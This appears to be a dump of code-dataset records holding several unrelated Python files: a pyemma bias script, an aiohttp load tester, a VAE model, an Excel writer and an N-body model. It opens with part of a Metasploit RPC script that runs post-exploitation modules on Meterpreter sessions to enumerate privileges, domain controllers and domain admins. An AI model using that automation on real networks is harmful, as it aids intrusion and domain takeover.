session[b'error'] = shell_info.encode()\n return session\n\n # returns either a string of the domain name or False\n domain = get_domain(shell_info)\n if domain:\n session[b'domain'] = domain.encode()\n\n domain_joined = is_domain_joined(shell_info[0], domain)\n if domain_joined == True:\n session[b'domain_joined'] = b'True'\n else:\n session[b'domain_joined'] = b'False'\n\n admin_shell, local_admin = await is_admin(CLIENT, sess_num)\n # Catch errors\n if type(admin_shell) == str:\n session[b'error'] = admin_shell.encode()\n return session\n\n session[b'admin_shell'] = admin_shell\n session[b'local_admin'] = local_admin\n\n print_shell_data(shell_info, admin_shell, local_admin, sess_num_str)\n\n return session\n\nasync def is_admin(CLIENT, sess_num):\n cmd = 'run post/windows/gather/win_privs'\n\n output = await run_session_cmd(CLIENT, sess_num, cmd, None)\n # Catch error\n if type(output) == str:\n return (output, None)\n\n if output:\n split_out = output.decode('utf8').splitlines()\n user_info_list = split_out[5].split()\n admin_shell = user_info_list[0]\n system = user_info_list[1]\n local_admin = user_info_list[2]\n user = user_info_list[5]\n\n # Byte string\n return (str(admin_shell).encode(), str(local_admin).encode())\n\n else:\n return (b'ERROR', b'ERROR')\n\nasync def get_domain_controller(CLIENT, domain_data, sess_num):\n print_info('Getting domain controller...')\n cmd = 'run post/windows/gather/enum_domains'\n end_str = b'[+] Domain Controller:'\n output = await run_session_cmd(CLIENT, sess_num, cmd, end_str)\n\n # Catch timeout\n if type(output) == str:\n domain_data['err'].append(sess_num)\n return domain_data\n\n output = output.decode('utf8')\n if 'Domain Controller: ' in output:\n dc = output.split('Domain Controller: ')[-1].strip()\n domain_data['domain_controllers'].append(dc)\n print_good('Domain controller: '+dc)\n else:\n print_bad('No domain controller found')\n\n return domain_data\n\nasync def get_domain_admins(CLIENT, domain_data, sess_num):\n print_info('Getting domain admins...')\n cmd = 'run post/windows/gather/enum_domain_group_users GROUP=\"Domain Admins\"'\n end_str = b'[+] User list'\n\n output = await run_session_cmd(CLIENT, sess_num, cmd, end_str)\n # Catch timeout\n if type(output) == str:\n domain_data['err'].append(sess_num)\n return domain_data\n\n output = output.decode('utf8')\n da_line_start = '[*] \\t'\n\n if da_line_start in output:\n split_output = output.splitlines()\n print_info('Domain admins:')\n\n domain_admins = []\n for l in split_output:\n if l.startswith(da_line_start):\n domain_admin = l.split(da_line_start)[-1].strip()\n domain_admins.append(domain_admin)\n print(' '+domain_admin)\n domain_data['domain_admins'] = domain_admins\n\n else:\n print_bad('No domain admins found')\n sys.exit()\n\n return domain_data\n\nasync def get_domain_data(CLIENT, session, sess_num, domain_data):\n # Check if we did domain recon yet\n if domain_data['domain_admins'] == []:\n if session[b'domain_joined'] == b'True':\n domain_data = await get_domain_controller(CLIENT, domain_data, sess_num)\n domain_data = await get_domain_admins(CLIENT, domain_data, sess_num)\n\n return domain_data\n\nasync def attack_with_sessions(CLIENT, sessions, domain_data):\n\n if len(sessions) > 0:\n\n for s in sessions:\n\n # Get and print session info if first time we've checked the session\n sessions[s] = await sess_first_check(CLIENT, sessions[s], s)\n \n # Update domain data\n if b'domain' in sessions[s]:\n domain_data['domains'].append(sessions[s][b'domain'])\n\n if domain_data['domain_admins'] == []:\n domain_data = await get_domain_data(CLIENT, sessions[s], s, domain_data)\n\n return (sessions, domain_data)\n\ndef get_output(CLIENT, cmd, sess_num):\n output = CLIENT.call('session.meterpreter_read', [str(sess_num)])\n\n # Everythings fine\n if b'data' in output:\n return output[b'data']\n\n # Got an error from the CLIENT.call\n elif b'error_message' in output:\n decoded_err = output[b'error_message'].decode('utf8')\n print_bad(error_msg.format(sess_num_str, decoded_err))\n return decoded_err\n\n # Some other error catchall\n else:\n return cmd\n\ndef get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs):\n script_errors = [b'[-] post failed', \n b'error in script', \n b'operation failed', \n b'unknown command', \n b'operation timed out']\n\n # Got an error from output\n if any(x in output.lower() for x in script_errors):\n print_bad(('Command [{}] in session {} '\n 'failed with error: {}'\n ).format(cmd, str(sess_num), output.decode('utf8')))\n return cmd, counter\n\n # If no terminating string specified just wait til timeout\n if output == b'':\n counter += sleep_secs\n if counter > timeout:\n print_bad('Command [{}] in session {} timed out'.format(cmd, str(sess_num)))\n return 'timed out', counter\n\n # No output but we haven't reached timeout yet\n return output, counter\n\nasync def run_session_cmd(CLIENT, sess_num, cmd, end_str, timeout=30):\n ''' Will only return a str if we failed to run a cmd'''\n global BUSY_SESSIONS\n\n error_msg = 'Error in session {}: {}'\n sess_num_str = str(sess_num)\n\n print_info('Running [{}] on session {}'.format(cmd, str(sess_num)))\n\n while sess_num in BUSY_SESSIONS:\n await asyncio.sleep(.1)\n\n BUSY_SESSIONS.append(sess_num)\n\n res = CLIENT.call('session.meterpreter_run_single', [str(sess_num), cmd])\n\n if b'error_message' in res:\n err_msg = res[b'error_message'].decode('utf8')\n print_bad(error_msg.format(sess_num_str, err_msg))\n return err_msg\n\n elif res[b'result'] == b'success':\n\n counter = 0\n sleep_secs = 0.5\n\n try:\n while True:\n await asyncio.sleep(sleep_secs)\n\n output = get_output(CLIENT, cmd, sess_num)\n # Error from meterpreter console\n if type(output) == str:\n BUSY_SESSIONS.remove(sess_num)\n return output\n\n # Successfully completed\n if end_str:\n if end_str in output:\n BUSY_SESSIONS.remove(sess_num)\n return output\n # If no end_str specified just return once we have any data\n else:\n if len(output) > 0:\n BUSY_SESSIONS.remove(sess_num)\n return output\n\n # Check for errors from cmd's output\n output, counter = get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs)\n # Error from cmd output including timeout\n if type(output) == str:\n BUSY_SESSIONS.remove(sess_num)\n return output\n\n # This usually occurs when the session suddenly dies or user quits it\n except Exception as e:\n err = 'exception below likely due to abrupt death of session'\n print_bad(error_msg.format(sess_num_str, err))\n print_bad(' '+str(e))\n BUSY_SESSIONS.remove(sess_num)\n return err\n\n # b'result' not in res, b'error_message' not in res, just catch everything else as an error\n else:\n print_bad(res[b'result'].decode('utf8'))\n BUSY_SESSIONS.remove(sess_num)\n return cmd\n \ndef get_perm_token(CLIENT):\n # Authenticate and grab a permanent token\n CLIENT.login(args.username, args.password)\n CLIENT.call('auth.token_add', ['123'])\n CLIENT.token = '123'\n return CLIENT\n\ndef filter_broken_sessions(updated_sessions):\n ''' We remove 2 kinds of errored sessions: 1) timed out on sysinfo 2) shell died abruptly '''\n unbroken_sessions = {}\n\n for s in updated_sessions:\n if b'error' in updated_sessions[s]:\n # Session timed out on initial sysinfo cmd\n if b'domain' not in updated_sessions[s]:\n continue\n # Session abruptly died\n elif updated_sessions[s][b'error'] == b'exception below likely due to abrupt death of session':\n continue\n\n unbroken_sessions[s] = updated_sessions[s]\n\n return unbroken_sessions\n\ndef update_sessions(sessions, updated_sessions):\n ''' Four keys added after we process a new session: \n first_check, domain_joined, local_admin, admin_shell \n This function does not overwrite data from MSF\n it only adds previously known data to the MSF session'''\n if updated_sessions:\n udpated_sessions = filter_broken_sessions(updated_sessions)\n\n # s = session number, sessions[s] = session data dict\n for s in sessions:\n if s in updated_sessions:\n for k in updated_sessions[s]:\n if k not in sessions[s]:\n sessions[s][k] = updated_sessions[s].get(k)\n\n return sessions\n\nasync def check_for_sessions(CLIENT):\n domain_data = {'domains':[], \n 'domain_controllers':[], \n 'domain_admins':[], \n 'err':[]}\n updated_sessions = None\n print_info('Waiting for Meterpreter shell')\n\n while True:\n\n # Get list of MSF sessions from RPC server\n sessions = CLIENT.call('session.list')\n\n # Update the session info dict with previously found information\n sessions = update_sessions(sessions, updated_sessions)\n\n # Do stuff with the sessions\n updated_sessions, domain_data = await attack_with_sessions(CLIENT, sessions, domain_data)\n \n await asyncio.sleep(10)\n\ndef main(args):\n\n CLIENT = msfrpc.Msfrpc({})\n CLIENT = get_perm_token(CLIENT)\n\n loop = asyncio.get_event_loop()\n loop.add_signal_handler(signal.SIGINT, kill_tasks)\n task = asyncio.ensure_future(check_for_sessions(CLIENT))\n try:\n loop.run_until_complete(task)\n except asyncio.CancelledError:\n print_info('Tasks gracefully downed a cyanide pill before defecating themselves and collapsing in a twitchy pile')\n finally:\n loop.close()\n\nif __name__ == \"__main__\":\n args = parse_args()\n if os.geteuid():\n print_bad('Run as root')\n sys.exit()\n main(args)\n\n","sub_path":"msf-netpwn.py","file_name":"msf-netpwn.py","file_ext":"py","file_size_in_byte":15336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"508440947","text":"import sys, os\nimport numpy as np\nfrom pyemma.thermo.util import get_averaged_bias_matrix as _get_averaged_bias_matrix\n\nnew_ass = np.load('../combined_assignment.npy',allow_pickle=True)\ndtraj = [[] for i in range(len(new_ass))]\nfor i in range(len(new_ass)):\n for j in range(len(new_ass[i])):\n dtraj[i].append(int(new_ass[i][j]))\ndtrajs = []\nfor i in range(len(dtraj)):\n dtrajs.append(np.array(dtraj[i]))\nbias = np.load('../bias_tram.npy',allow_pickle=True)\n\nbias_dtram = _get_averaged_bias_matrix(bias,dtrajs,nstates = 18)\n\nnp.save('bias_dtram.npy',bias_dtram)\n\n","sub_path":"lambda_only/results/cumu8/100/dtram/compute_bias_dtram.py","file_name":"compute_bias_dtram.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"278185694","text":"#!/usr/bin/env python3.5\n\n\nimport aiohttp\nimport argparse\nimport asyncio\nimport functools\nimport requests\nimport multiprocessing as mp\nimport time\n\nimport config\nfrom logger import *\n\n\nclass ReusedSession:\n \"\"\" Session for connect to a server. Reuse after return a response (for keep-alive)\n Parameters:\n session (aiohttp.ClientSession): session for connect\n working (bool): flag shows the session does not have work for server \n \"\"\"\n def __init__(self):\n self.session = aiohttp.ClientSession()\n self.working = False\n self.failed = False\n\n\ndef get_free_session(sessions, loggers):\n \"\"\" Find not working session for assign new work. Create new one if no available sessions\n Args:\n sessions (list)\n sessions.item (ReusedSession)\n Returns:\n ReusedSession\n \"\"\"\n LOG, LOG_ERR = loggers\n\n failed_session_num = []\n free_session = None\n for i, s in enumerate(sessions):\n if s.failed:\n failed_session_num.append(i)\n continue\n\n if not s.working:\n free_session = s\n break\n\n # Reverse sort for correct delete in array - index out of range\n failed_session_num = sorted(failed_session_num, reverse=True)\n for i in failed_session_num:\n #LOG.put( LogMsg(LN.err.FAIL_SESSION, time.time()) )\n sessions[i].session.close()\n del sessions[i]\n\n if free_session is not None:\n return free_session\n\n s = ReusedSession()\n sessions.append(s)\n #LOG.put( LogMsg(LN.info.NEW_SESSION, time.time()) )\n\n return s\n\n\ndef free_session(session, *args):\n \"\"\" Returns for session opportunity reused\n Args:\n session (ReusedSession)\n Returns:\n void\n \"\"\"\n session.working = False\n\n\nasync def request(host, port, path, session, loggers):\n \"\"\" Requests server and wait response \n Args:\n session (ReusedSession)\n Returns:\n void\n \"\"\"\n LOG, LOG_ERR = loggers\n\n request_url = \"http://\" + host + \":\" + port + path\n\n try:\n async with aiohttp.client._RequestContextManager(session.session._request(aiohttp.hdrs.METH_GET, request_url)) as resp:\n #LOG.put( LogMsg(LN.info.REQUEST, time.time()) )\n await resp.text()\n asyncio.sleep(1)\n except Exception as err:\n #LOG_ERR.put( LogMsg(LN.err.REQUEST, time.time()) )\n session.failed = True\n asyncio.sleep(1)\n\n\ndef calc_rate(time_since_start, limit_rate):\n \"\"\" Suppose we need reach `limit_rate` in some time\n Args:\n time_since_start (int): num of seconds since start\n limit_rate (int): max rate for perfomance test\n Returns:\n curr_rate (int): rate for current time\n \"\"\"\n init_rate = config.INIT_RATE\n step_rate = config.STEP_RATE\n\n rate = init_rate + time_since_start * step_rate\n\n return [round(rate), limit_rate][rate > limit_rate]\n\n\nasync def schedule_send_requests(loop, host, port, path, rate, loggers):\n \"\"\" Schedule envoke send_requests with calculated rate every second\n Args:\n loop (asyncio.BaseEventLoop)\n host (str)\n port (str)\n rate (int)\n Returns:\n void\n \"\"\"\n reused_sessions = []\n it_num = -1\n \n while True:\n it_num += 1\n\n curr_rate = calc_rate(it_num, rate)\n task = loop.create_task( send_requests(loop=loop, host=host, port=port, path=path, rate=curr_rate, sessions=reused_sessions, loggers=loggers) )\n await asyncio.sleep(1)\n\n\nasync def send_requests(loop, host, port, path, rate, sessions, loggers):\n \"\"\" Sent requests for server 'host:port' with specified rate (rps)\n Args:\n loop (asyncio.BaseEventLoop)\n host (str)\n port (str)\n rate (int)\n Returns:\n void\n \"\"\"\n for i in range(rate):\n session = get_free_session(sessions, loggers)\n session.working = True\n task = loop.create_task( request(host, port, path, session, loggers) )\n task.add_done_callback( functools.partial(free_session, session) )\n\n\ndef load(host, port, path, rate, loggers):\n loop = asyncio.get_event_loop()\n loop.run_until_complete(\n schedule_send_requests(loop=loop, host=host, port=port, path=path, rate=rate, loggers=loggers))\n loop.close()\n\n\ndef parse_cmd():\n # for load simple nginx with sleep 1sec - the max for localhost 6processes x40 rate\n # beyond can't guarantee to maintain the level of rate (limit at cpu)\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--rate\", type=int, required=True)\n parser.add_argument(\"--host\", type=str, required=True)\n parser.add_argument(\"--port\", type=str, required=True)\n parser.add_argument(\"--path\", type=str, required=True)\n\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n args = parse_cmd()\n load(args.host, args.port, args.path, args.rate, (None, None))\n","sub_path":"loader/src/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":4883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"51484934","text":"#!/usr/bin/env python3\n\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n#from model_utils import nll_categ_global, nll_gauss_global\n#from EmbeddingMul import EmbeddingMul\n\ndef nll_categ_global(categ_logp_feat, input_idx_feat, cat_feat_size,\n isRobust=False, w=None, isClean=False):\n\n # Normal\n if not isRobust:\n return F.nll_loss(categ_logp_feat, input_idx_feat, reduction='none').view(-1,1)\n\n # Robust\n w_r = w.view(-1,1)\n if isClean:\n return F.nll_loss(w_r*categ_logp_feat, input_idx_feat, reduction='none').view(-1,1)\n else:\n categ_logp_robust = torch.log(torch.tensor(1.0/cat_feat_size))\n categ_logp_robust = categ_logp_robust*torch.ones(categ_logp_feat.shape)\n categ_logp_robust = categ_logp_robust.type(categ_logp_feat.type())\n two_compnts = w_r*categ_logp_feat + (1-w_r)*categ_logp_robust\n\n return F.nll_loss(two_compnts, input_idx_feat, reduction='none').view(-1,1)\n\n\ndef nll_gauss_global(gauss_params, input_val_feat, logvar, isRobust=False, w=None,\n std_0_scale=2, isClean=False, shape_feats=[1]):\n\n # Normal\n mu = gauss_params.view([-1] + shape_feats)\n logvar_r = (logvar.exp() + 1e-9).log()\n\n data_compnt = 0.5*logvar_r + (input_val_feat.view([-1] + shape_feats) - mu)**2 / (2.* logvar_r.exp() + 1e-9)\n\n if not isRobust:\n return data_compnt.view([-1] + shape_feats)\n\n # Robust\n w_r = w.view([-1] + shape_feats)\n if isClean:\n return (w_r*data_compnt).view([-1] + shape_feats)\n else:\n #Outlier model\n mu_0 = 0.0\n var_0 = torch.tensor(std_0_scale**2).type(gauss_params.type())\n robust_compnt = 0.5*torch.log(var_0) + (input_val_feat.view([-1] + shape_feats) - mu_0)**2 / (2.* var_0 + 1e-9)\n\n return (w_r*data_compnt + (1-w_r)*robust_compnt).view([-1] + shape_feats)\n\n\nclass EmbeddingMul(nn.Module):\n \"\"\"This class implements a custom embedding mudule which uses matrix\n multiplication instead of a lookup. The method works in the functional\n way.\n Note: this class accepts the arguments from the original pytorch module\n but only with values that have no effects, i.e set to False, None or -1.\n \"\"\"\n\n def __init__(self, depth, device):\n super(EmbeddingMul, self).__init__()\n # i.e the dictionnary size\n self.depth = depth\n self.device = device\n self.ones = torch.eye(depth, requires_grad=False, device=self.device)\n self._requires_grad = False\n # \"oh\" means One Hot\n self.last_oh = None\n self.last_weight = None\n\n @property\n def requires_grad(self):\n return self._requires_grad\n\n @requires_grad.setter\n def requires_grad(self, value):\n self._requires_grad = value\n\n def forward(self, input, weight, padding_idx=None, max_norm=None,\n norm_type=2., scale_grad_by_freq=False, sparse=False, one_hot_input=True):\n \"\"\"Declares the same arguments as the original pytorch implementation\n but only for backward compatibility. Their values must be set to have\n no effects.\n Args:\n - input: of shape (bptt, bsize)\n - weight: of shape (dict_size, emsize)\n Returns:\n - result: of shape (bptt, bsize, dict_size)\n \"\"\"\n # ____________________________________________________________________\n # Checks if unsupported argument are used\n if padding_idx != -1:\n raise NotImplementedError(\n f\"padding_idx must be -1, not {padding_idx}\")\n # if max_norm is not None:\n # raise NotImplementedError(f\"max_norm must be None, not {max_norm}\")\n if scale_grad_by_freq:\n raise NotImplementedError(f\"scale_grad_by_freq must be False, \"\n f\"not {scale_grad_by_freq}\")\n if sparse:\n raise NotImplementedError(f\"sparse must be False, not {sparse}\")\n # ____________________________________________________________________\n\n if self.last_oh is not None:\n del self.last_oh\n if one_hot_input:\n self.last_oh = input\n else:\n self.last_oh = self.to_one_hot(input)\n\n with torch.set_grad_enabled(self.requires_grad):\n result = torch.stack(\n [torch.mm(batch.float(), weight)\n for batch in self.last_oh], dim=0)\n\n if max_norm is not None:\n # result = F.normalize(result, p=2, dim=-1)\n norm = result.norm(p=norm_type, dim=-1, keepdim=True)\n norm_mask = (norm > max_norm).float() # ).squeeze()\n result_new = result / norm * norm_mask + result * (1 - norm_mask)\n #result[:,norm_mask,:] = result[:,norm_mask,:].div(norm[:,norm_mask,:])\n else:\n result_new = result\n\n # self.last_weight = weight.clone() # NOTE: waste of memory?\n\n return result_new\n\n def to_one_hot(self, input):\n # Returns a new tensor that doesn't share memory\n result = torch.index_select(\n self.ones, 0, input.view(-1).long()).view(\n input.size()+(self.depth,))\n result.requires_grad = self.requires_grad\n return result\n\n def __repr__(self):\n return self.__class__.__name__ + \"({})\".format(self.depth)\n\n \nclass VAE(nn.Module):\n def __init__(self):\n\n super(VAE, self).__init__()\n\n feats = 3\n embedding_size = 50\n layer_size = 400\n latent_size = 5\n\n self.feat_info = [[\"time\",'categ',745],['pulocation','categ',266],['dozone','categ',7],['cnt','real',1]]\n self.size_input = feats*50+1\n self.size_output = feats + 1\n self.alpha = 0.95\n self.gauss = 2\n ## Encoder Params\n\n # define a different embedding matrix for each feature\n self.feat_embedd = nn.ModuleList([nn.Embedding(c_size, embedding_size, max_norm=1)\n for _, col_type, c_size in self.feat_info\n if col_type==\"categ\"])\n\n self.fc1 = nn.Linear(self.size_input, layer_size)\n self.fc21 = nn.Linear(layer_size, latent_size)\n self.fc22 = nn.Linear(layer_size, latent_size)\n\n ## Decoder Params\n\n self.fc3 = nn.Linear(latent_size,layer_size)\n\n self.out_cat_linears = nn.ModuleList([nn.Linear(layer_size, c_size) if col_type==\"categ\"\n else nn.Linear(layer_size, c_size)\n for _, col_type, c_size in self.feat_info])\n\n self.logvar_x = nn.Parameter(torch.zeros(1,1).float())\n\n ## Other\n\n self.activ = nn.ReLU()\n\n self.logSoftmax = nn.LogSoftmax(dim=1)\n self.sigmoid = nn.Sigmoid()\n\n # define encoder / decoder easy access parameter list\n encoder_list = [self.fc1, self.fc21, self.fc22]\n self.encoder_mod = nn.ModuleList(encoder_list)\n if self.feat_embedd:\n self.encoder_mod.append(self.feat_embedd)\n\n self.encoder_param_list = nn.ParameterList(self.encoder_mod.parameters())\n\n decoder_list = [self.fc3, self.out_cat_linears]\n self.decoder_mod = nn.ModuleList(decoder_list)\n self.decoder_param_list = nn.ParameterList(self.decoder_mod.parameters())\n if len(self.logvar_x):\n self.decoder_param_list.append(self.logvar_x)\n\n\n def get_inputs(self, x_data):\n input_list = []\n cursor_embed = 0\n start = 0\n \n for feat_idx, ( _, col_type, feat_size ) in enumerate(self.feat_info):\n if col_type == \"categ\":\n aux_categ = self.feat_embedd[cursor_embed](x_data[:,feat_idx].long())#*drop_mask[:,feat_idx].view(-1,1)\n input_list.append(aux_categ)\n cursor_embed += 1\n \n elif col_type == \"real\": \n input_list.append((x_data[:,feat_idx]).view(-1,1).float())#*drop_mask[:,feat_idx]\n \n return torch.cat(input_list, 1)\n\n def encode(self, x_data):\n q_params = dict()\n input_values = self.get_inputs(x_data)\n fc1_out = self.fc1(input_values)\n h1_qz = self.activ(fc1_out)\n q_params['z'] = {'mu': self.fc21(h1_qz), 'logvar': self.fc22(h1_qz)}\n return q_params\n\n def sample_normal(self, q_params_z):\n if self.training:\n eps = torch.randn_like(q_params_z['mu'])\n std = q_params_z['logvar'].mul(0.5).exp_()\n return eps.mul(std).add_(q_params_z['mu'])\n else:\n return q_params_z['mu']\n\n def reparameterize(self, q_params):\n q_samples = dict()\n q_samples['z'] = self.sample_normal(q_params['z'])\n return q_samples\n\n def decode(self, z):\n p_params = dict()\n h3 = self.activ(self.fc3(z))\n out_cat_list = []\n\n for feat_idx, out_cat_layer in enumerate(self.out_cat_linears):\n if self.feat_info[feat_idx][1] == \"categ\": # coltype check\n out_cat_list.append(self.logSoftmax(out_cat_layer(h3)))\n elif self.feat_info[feat_idx][1] == \"real\":\n out_cat_list.append(out_cat_layer(h3))\n\n # tensor with dims (batch_size, self.size_output)\n p_params['x'] = torch.cat(out_cat_list, 1)\n p_params['logvar_x'] = self.logvar_x.clamp(-3,3)\n return p_params\n\n def forward(self, x_data, n_epoch=None):\n q_params = self.encode(x_data)\n q_samples = self.reparameterize(q_params)\n return self.decode(q_samples['z']), q_params, q_samples\n\n def loss_function(self, input_data, p_params, q_params, q_samples, clean_comp_only=False, data_eval_clean=False):\n\n \"\"\" ELBO: reconstruction loss for each variable + KL div losses summed over elements of a batch \"\"\"\n\n dtype_float = torch.cuda.FloatTensor\n nll_val = torch.zeros(1).type(dtype_float)\n # mixed datasets, or just categorical / continuous with medium number of features\n start = 0\n cursor_num_feat = 0\n\n for feat_select, (_, col_type, feat_size) in enumerate(self.feat_info):\n pi_feat = torch.sigmoid(q_params['w']['logit_pi'][:,feat_select]).clamp(1e-6, 1-1e-6)\n \n if clean_comp_only and data_eval_clean:\n pi_feat = torch.ones_like(q_params['w']['logit_pi'][:,feat_select])\n \n # compute NLL\n if col_type == 'categ':\n nll_val += nll_categ_global(p_params['x'][:,start:(start + feat_size)],\n input_data[:,feat_select].long(), feat_size, isRobust=True,\n w=pi_feat, isClean=clean_comp_only).sum()\n start += feat_size\n elif col_type == 'real':\n nll_val += nll_gauss_global(p_params['x'][:,start:(start + 1)], # 2\n input_data[:,feat_select],\n p_params['logvar_x'][:,cursor_num_feat], isRobust=True,\n w=pi_feat, isClean=clean_comp_only, \n std_0_scale=self.gauss).sum()\n start += 1 # 2\n cursor_num_feat +=1\n\n\n # kld regularizer on the latent space\n z_kld = -0.5 * torch.sum(1 + q_params['z']['logvar'] - q_params['z']['mu'].pow(2) - q_params['z']['logvar'].exp())\n\n # prior on clean cells (higher values means more likely to be clean)\n prior_sig = torch.tensor(self.alpha).type(dtype_float)\n\n # kld regularized on the weights\n pi_mtx = torch.sigmoid(q_params['w']['logit_pi']).clamp(1e-6, 1-1e-6)\n w_kld = torch.sum(pi_mtx * torch.log(pi_mtx / prior_sig) + (1-pi_mtx) * torch.log((1-pi_mtx) / (1-prior_sig)))\n\n loss_ret = nll_val + z_kld if clean_comp_only else nll_val + z_kld + w_kld\n\n return loss_ret, nll_val, z_kld, w_kld \n\n\n\n \n","sub_path":"archived/RVAE_org_minimal/RVAE.py","file_name":"RVAE.py","file_ext":"py","file_size_in_byte":12049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"308417780","text":"import xlwt\nimport time\n\ndef timeCove(a):\n timeArray = time.strptime(a, \"%Y%m%d\")\n otherStyleTime = time.strftime(\"%Y-%m-%d\",timeArray)\n return otherStyleTime\ndef set_style(name, height, bold=False):\n\n style = xlwt.XFStyle() # 初始化样式\n\n font = xlwt.Font() # 为样式创建字体\n font.name = name # 'Times New Roman'\n font.bold = bold\n font.color_index = 4\n font.height = height\n\n # borders= xlwt.Borders()\n # borders.left= 6\n # borders.right= 6\n # borders.top= 6\n # borders.bottom= 6\n\n style.font = font\n # style.borders = borders\n\n return style\n\n\n# 写excel\ndef write_excel(db,filename):\n f = xlwt.Workbook() # 创建工作簿\n '''\n 创建第一个sheet:\n sheet1\n '''\n sheet1 = f.add_sheet(u'sheet1', cell_overwrite_ok=True) # 创建sheet\n row0 = [u'收费员工号', u'日志日期', u'收入(元)']\n for i in range(0, len(row0)):\n sheet1.write(0, i, row0[i], set_style('Times New Roman', 220, True))\n\n for (i,j) in db.items():\n sheet1.write(i+1, 0, int('017'+str(j[2])), set_style('Times New Roman', 220, True))\n sheet1.write(i+1, 1, timeCove(j[0][0:8]), set_style('Times New Roman', 220, True))\n sheet1.write(i+1, 2, int(j[1])/100, set_style('Times New Roman', 220, True))\n f.save(filename[0:-4] + '.xlsx') # 保存文件\n\n\n","sub_path":"123/creatXls.py","file_name":"creatXls.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"479770045","text":"# Crie uma função que retorna os números pares, a seguir, utilize a função .filter() na\n# variável numerosAleatorios passando a função que você criou como callback. Veja\n# no slide sobre .filter() como fizemos\n\n\nnumerosAleatorios = [12, 47, 66, 35, 142, 71, 14, 6]\n\n\nnumFiltrado = filter(lambda x: x % 2 ==0, numerosAleatorios)\nnumFiltrado = list(numFiltrado)\n\nprint(numFiltrado)","sub_path":"Cappacita/ex_22.py","file_name":"ex_22.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"61919113","text":"import pyautogui\r\nimport time\r\nfrom selenium import webdriver\r\n\r\n#定义图像识别双击事件\r\ndef mouseDoubleClick(image):\r\n x,y=pyautogui.locateCenterOnScreen(image,confidence=0.9)\r\n pyautogui.click(x,y,clicks=2,interval=0.2,duration=0.2,button='left')\r\n\r\n#定义单击事件\r\ndef mouseClick(image):\r\n x,y=pyautogui.locateCenterOnScreen(image,confidence=0.9)\r\n pyautogui.click(x,y,clicks=1,interval=0.2,duration=0.2,button='left')\r\n\r\nmouseDoubleClick(image = 'chorm.png')\r\n\r\npyautogui.write(\"www.baidu.com\")\r\ntime.sleep(1)\r\npyautogui.press(\"enter\")\r\ntime.sleep(3)\r\n\r\npyautogui.write(\"Detroit: Become Human\")\r\ntime.sleep(2)\r\npyautogui.press(\"enter\")\r\n","sub_path":"students/Siyang Liu/pyaotugui/pyautogui_serch.py","file_name":"pyautogui_serch.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"296870774","text":"try:\n import numpy as np\nexcept ImportError:\n raise Exception(\"numpy is required for pygme\")\n\nfrom numpy import asarray\nfrom numpy import cos, sin, sqrt, arctan\n\ntry:\n from scipy import interpolate\nexcept ImportError:\n raise Exception(\"scipy is required for pygme\")\n\nimport os\nfrom .rwcfor import floatMGE\nfrom pygme.dynMGE import dynMGE\nfrom pygme.paramMGE import dynParamMGE\nfrom pygme.mge_miscfunctions import sample_trunc_r2gauss, sample_trunc_gauss\n\n__version__ = '2.0.4 (24/10/2014)' # Changed default value for SigmaGas and fixed comment in realise_Nbody\n#__version__ = '2.0.3 (21/08/2013)' \n#__version__ = '2.0.2 (16/01/2013)'\n# Version 2.0.3: Changed imin imax into ilist\n# Version 2.0.2: 16/01/2013 - Simplification in the derivation of sigR, sigZ, sigTheta\n# Version 2.0.1: 18/12/2012 - Adding the FacBetaEps factor as a parameter of the realise_Nbody routine\n\nclass nbodyMGE(dynMGE) :\n def __init__(self, infilename=None, indir=None, saveMGE=None, **kwargs) :\n dynMGE.__init__(self, infilename=infilename, indir=indir, saveMGE=saveMGE, **kwargs)\n\n########################################### N BODY #############################################\n ################################################################\n ### Generate N bodies consistent with the existing MGE model ###\n ################################################################\n def realise_Nbody(self, **kwargs):\n \"\"\" Generate particles within the potential defined by the MGE model\n Cuts in R and Z, in pc, are defined by Rcut and Zcut\n The number of particles and the way the particles have their\n dynamics derived is specified in the Ascii input MGE model\n (e.g. NGROUP, NDYNCOMP, NPARTGROUP1, 2, ...)\n Anisotropy can be specified in the input Ascii Model with\n numbers (if negative, the Spin will be reversed), 'epicycle' or 'betaeps'\n Rcut: cut in R, in pc - default is 50000\n Zcut: cut in Z, in pc - default is 50000\n mcut: cut in ellipsoidal coordinates, in pc (think of this as an ellipsoid with major-axis max radius = mcut )\n Default is 50000\n ComputeV: Boolean (True/False), if True (default) velocities are derived, otherwise only the positions\n GasDisk: Boolean (True/False), if True (default) the Gas component will have velocities compatible with a thin disk\n Otherwise, we will follow the prescription given by the kRZ and kRTheta components in the mge file\n SigmaGas: SigmaR, SigmaTheta and SigmaZ for the Gas, in km/s - default to 10 km/s for all 3 values\n TruncationMethod : Method to sample the positions.\n \"Ellipsoid\" (default): will follow the isosurface of each Gaussians at that radius as a cut\n mcut will be used (in pc)\n \"Cylindre\" means an R, Z Cylindrical cal (Rcut, Zcut will be used - in pc)\n Add_BHParticle : boolean, if defined (Default is True):\n True means that a BH particle is added if Mbh > 0\n False means that if Mbh > 0, the potential will take it\n into account but no particle is added\n Softening: in pc, softening added in quadrature to the gaussian Sigmas for the potential, Default is 0 (no softening)\n FacBetaEps : factor involved when using the BETAEPS option as an anisotropy parameter for the\n Gaussians. When one of the Gaussian component is using BETAEPS for K_R_Z, we fix the\n anisotropy to -> delta = FacBetaEps * Epsilon where delta = 1 - Sigma_Z^2/Sigma_R^2 and\n Epsilon is the intrinsic ellipticity of that Gaussian. Setting FacBetaEps >= 0.8 is not\n permitted (as this would break the 